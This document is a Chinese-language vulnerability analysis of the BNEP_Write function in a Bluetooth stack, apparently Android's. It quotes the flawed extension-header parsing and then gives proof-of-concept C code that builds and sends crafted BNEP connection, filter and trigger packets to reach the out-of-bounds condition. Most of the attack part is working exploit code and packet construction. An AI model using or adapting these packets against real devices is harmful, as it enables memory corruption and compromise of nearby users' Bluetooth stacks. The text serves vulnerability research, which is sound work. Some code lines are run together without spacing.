/******************************************************************************* * * Function BNEP_Write * * Description This function sends data over a BNEP connection * * Parameters: handle - handle of the connection to write * p_dest_addr - BD_ADDR/Ethernet addr of the destination * p_data - pointer to data start * protocol - protocol type of the packet * p_src_addr - (optional) BD_ADDR/ethernet address of the * source * (should be NULL if it is local BD Addr) * fw_ext_present - forwarded extensions present * * Returns: BNEP_WRONG_HANDLE - if passed handle is not valid * BNEP_MTU_EXCEDED - If the data length is greater than * the MTU * BNEP_IGNORE_CMD - If the packet is filtered out * BNEP_Q_SIZE_EXCEEDED - If the Tx Q is full * BNEP_NO_RESOURCES - If not able to allocate a buffer * BNEP_SUCCESS - If written successfully * ******************************************************************************/tBNEP_RESULTBNEP_Write(uint16_t handle,constRawAddress& p_dest_addr,uint8_t* p_data,uint16_t len,uint16_t protocol,constRawAddress* p_src_addr,bool fw_ext_present) { tBNEP_CONN* p_bcb;uint8_t* p; // MTU检查 /* Check MTU size. Consider the possibility of having extension headers */if (len > BNEP_MTU_SIZE) {BNEP_TRACE_ERROR("BNEP_Write() length %d exceeded MTU %d", len, BNEP_MTU_SIZE);return (BNEP_MTU_EXCEDED); } // handle检查if ((!handle) || (handle > BNEP_MAX_CONNECTIONS)) return (BNEP_WRONG_HANDLE); p_bcb =&(bnep_cb.bcb[handle -1]); // 获取p_pcb /* Check if the packet should be filtered out */if (bnep_is_packet_allowed(p_bcb, p_dest_addr, protocol, fw_ext_present, p_data) != BNEP_SUCCESS) { /* ** If packet is filtered and ext headers are present ** drop the data and forward the ext headers */if (fw_ext_present) {uint8_t ext, length;uint16_t org_len, new_len; /* parse the extension headers and findout the new packet len */ org_len = len; // org_len表示Buffer原本长度 new_len =0; // new_len表示新的Buffer长度 p = p_data; // p表示Buffer原始起始地址do { ext =*p_data++; // 获取第一个字节作为ext length =*p_data++; // 获取第二个字节作为length p_data += length; // 移动p_data指向下一个扩展起始地址 new_len += (length +2); // new_length加上ext,length两字节,再加上length长度的数据if (new_len > org_len) return BNEP_IGNORE_CMD; // new_len不能超过原始Buffer整体长度org_len } while (ext &0x80);if (protocol != BNEP_802_1_P_PROTOCOL) protocol =0;else { // new_len加上4 new_len +=4;p_data[2] =0;p_data[3] =0; } len = new_len; // len为最终的新Buffer长度 p_data = p; // p_data重新指向Buffer起始 } elsereturn BNEP_IGNORE_CMD; } ...}
staticintsend_trigger_req(int sock_fd,uint8_t*dst,uint8_t*src) {uint8_t*buf,*p;int ret =0; p = buf =malloc(0x200);memset(buf,0,0x200);uint8_t type =0x80; // for ext*p++= type;uint8_tdst_addr[6],src_addr[6];getbd(dst, dst_addr);memcpy(p, dst_addr,6); // dst_addr p +=6;getbd(src, src_addr);memcpy(p, src_addr,6); //src_add p +=6; // #define BNEP_802_1_P_PROTOCOL 0x8100uint16_t protocol =0x8100;UINT16_TO_BE_STREAM(p, protocol); // rem_len start uint8_t ext_type =0x81;*p++= ext_type; // enter while loop, and breakuint8_t len =0x00;*p++= len; // new_len = 2uint8_t ext2 =0x00;*p++= ext2;uint8_t*p_len2 = p; // 此时p和p_len2指向的是Len_2 p++; // p加1,指向OOB[0]uint8_t len2 = p - buf -15-2-2; // 这里计算出来就是0,len2 = 0UINT8_TO_BE_STREAM(p_len2, len2); // 将0写到Len2_2的位置send(sock_fd, buf, p - buf,0);free(buf);}
那么我们现在来看完整的攻击流程,第一步是建立BNEP连接,BNEP包格式如下,E为扩展标志位
BNEP Packet Type有如下几种类型,我们选择BNEP_GENERAL_ETHERNET
Value
BNEP Packet Type
0x00
BNEP_GENERAL_ETHERNET
0x01
BNEP_CONTROL
0x02
BNEP_COMPRESSED_ETHERNET
0x03
BNEP_COMPRESSED_ETHERNET_SOURCE_ONLY
0x04
BNEP_COMPRESSED_ETHERNET_DEST_ONLY
0x05 - 0x7E
Reserved for future use
0x7F
Reserved for 802.2 LLC Packets for IEEE 802.15.1 WG
BNEP Control Type设置的是BNEP_SETUP_CONNECTION_REQUEST_MSG,此处不添加扩展数据
整个连接请求包的格式
其中Destination Service UUID和Source Service UUID长度不固定,最少是2个字节
Destination Service UUID: Size: 2-16 Bytes
Value
Parameter Description
0xXX
Depending on the UUID Size parameter, this is a 2-16 byte field containing the destination (service which the source device is connecting to) SDP service UUIDs [8]. Note: The size of both the destination and source service UUID SHALL be the same.
Source Service UUID: Size: 2-16 Bytes
Value
Parameter Description
0xXX
Depending on the UUID Size parameter, this is a 2-16 byte field containing the source (the service that the source device is using for the BNEP connection) SDP service UUIDs [8]. Note: The size of both the destination and source service UUID SHALL be the same.
BNEP_SETUP_CONNECTION_REQUEST_MSG包的构造过程如下
staticintsend_frame_ctrl_conn_req(int sock_fd){uint8_t*buf,*p;int ret =0; p = buf =malloc(0x100);memset(buf,0,0x100);uint8_t type = BNEP_FRAME_CONTROL;*p++= type;uint8_t ctrl_type = BNEP_SETUP_CONNECTION_REQUEST_MSG;*p++= ctrl_type;uint8_t len =0x02;*p++= len;uint16_t SRC_UUID =0x1116; // PAN profileuint16_t DST_UUID =0x1115; // PAN profileUINT16_TO_BE_STREAM(p, SRC_UUID); // src_uuidUINT16_TO_BE_STREAM(p, DST_UUID); // dst_uuiduint16_t protocol =0x0000;UINT16_TO_BE_STREAM(p, protocol);send(sock_fd, buf, p - buf,0);free(buf);}
设置filter
staticintsend_frame_ctrl_filter_net_req(int sock_fd){ // to make p_bcb->recv_num_filters not 0uint8_t*buf,*p;int ret =0; p = buf =malloc(0x100);memset(buf,0,0x100);uint8_t type = BNEP_FRAME_CONTROL;*p++= type;uint8_t ctrl_type = BNEP_FILTER_NET_TYPE_SET_MSG; // no ext*p++= ctrl_type;uint16_t len =0x04; // this make num_filters = 0x01UINT16_TO_BE_STREAM(p, len); // lenuint16_t start =0xfffe; // must meet condition (protocol < start || protocol > end)uint16_t end =0xffff; // then bnep_is_packet_allowd return un-SUCCESS.UINT16_TO_BE_STREAM(p, start);UINT16_TO_BE_STREAM(p, end);send(sock_fd, buf, p - buf,0);free(buf);}